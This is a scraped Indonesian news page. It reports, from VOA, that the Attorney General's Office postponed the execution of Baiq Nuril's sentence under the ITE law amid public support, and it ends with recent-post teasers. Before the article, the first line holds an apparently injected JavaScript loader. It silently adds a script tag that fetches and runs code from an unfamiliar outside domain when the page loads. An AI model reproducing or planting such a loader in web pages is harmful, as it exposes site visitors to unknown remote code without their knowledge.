(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
VOA

Kejagung Tunda Eksekusi Baiq Nuril


Terus meluasnya dukungan bagi Baiq Nuril Makmun, mantan guru honorer SMAN Mataram, NTB, yang menjadi korban pelecehan kekerasan seksual dan divonis bersalah melanggar UU Informasi dan Transaksi Elektronik ITE, mendorong Kejaksaan Agung untuk menunda eksekusi yang sedianya dilakukan pada hari Rabu (21/11).

“Melihat aspirasi yang berkembang di masyarakat terkait dengan persepsi keadilannya, maka, untuk itu eksekusi terhadap Baiq Nuril yang telah dinyatakan bersalah menurut putusan Mahkamah Agung yang telah memiliki kekuatan hukum tetap, eksekusinya kita tunda. Kita memberikan kesempatan pada yang bersangkutan untuk mengajukan peninjauan kembali,” demikian ujar Mukri, Kapuspenkum Kejaksaan Agung, Senin (19/11).

Sebelumnya Kejaksaan Negeri Mataram, Jumat lalu (16/11) telah melayangkan surat pemanggilan kepada Baiq Nuril untuk datang dan menjalani eksekusi hari Rabu (21/11).

Kuasa hukum Baiq Nuril, Joko Jumadi kepada VOA Minggu malam (18/11) mengatakan akan datang memenuhi panggilan itu, tetapi akan langsung menyampaikan perlawanan.

‘’Hari Rabu nanti (21/11) kami akan datang, tetapi akan melakukan perlawanan agar Baiq Nuril tidak dieksekusi karena salinan putusan itu belum ada. Saya akan datang untuk menghormati panggilan yang diberikan, tetapi kami juga minta Kejaksaan Agung untuk menghormati hak klien kami karena sesuai aturan hukum eksekusi itu dilakukan dengan menggunakan salinan putusan, yang hingga kini belum kami terima,” jelasnya.

Dukungan kuat mengalir bagi Baiq Nuril, tidak saja dari berbagai lembaga bantuan hukum dan badan di tingkat nasional seperti Komnas Perempuan dan lain-lain, tetapi juga perorangan.

Sebuah permohonan kepada Presiden Joko Widodo untuk memberikan amnesti kepada Baiq Nuril dan seruan penundaan eksekusi sudah ditandatangani oleh ratusan tokoh, terutama aktivis perempuan. Upaya mengumpulkan donasi yang dilakukan lewat https://kitabisa.com/saveibunuril untuk membantu membayar denda 500 juta rupiah yang dikenakan terhadap Baiq Nuril, hingga laporan ini disampaikan sudah mencapai 310 juta rupiah. (em)


Desy Arfianty

Recent Posts

Pascabanjir TurunTangan Banjarmasin – UPZ Bakti Bersama Salurkan Bantuan ke Masjid

KANALKALIMANTAN.COM, PARINGIN — Banjir bandang di Kecamatan Tebing Tinggi, Kabupaten Balangan, beberapa waktu lalu tak… Read More

3 jam ago

Mantan Kajari HSU Ajukan Praperadilan, KPK Siap Ladeni Gugatan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyatakan siap menghadapi gugatan praperadilan yang diajukan mantan… Read More

7 jam ago

Hari Gizi Nasional 2026 “Sehat Dimulai dari Piringku”

KANALKALIMANTAN.COM - Hari Gizi Nasional yang diperingati setiap tanggal 25 Januari merupakan momentum penting dalam… Read More

10 jam ago

Wali Kota Yamin akan Tindak Pemilik Ruko yang Tidak Merawat Drainase

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More

1 hari ago

Ketua DPRD Kalsel Sampaikan Tuntutan Mahasiswa ke Senayan

KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More

1 hari ago

275 ASN Pemko Banjarmasin Pensiun di 2025

KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More

1 hari ago

This website uses cookies.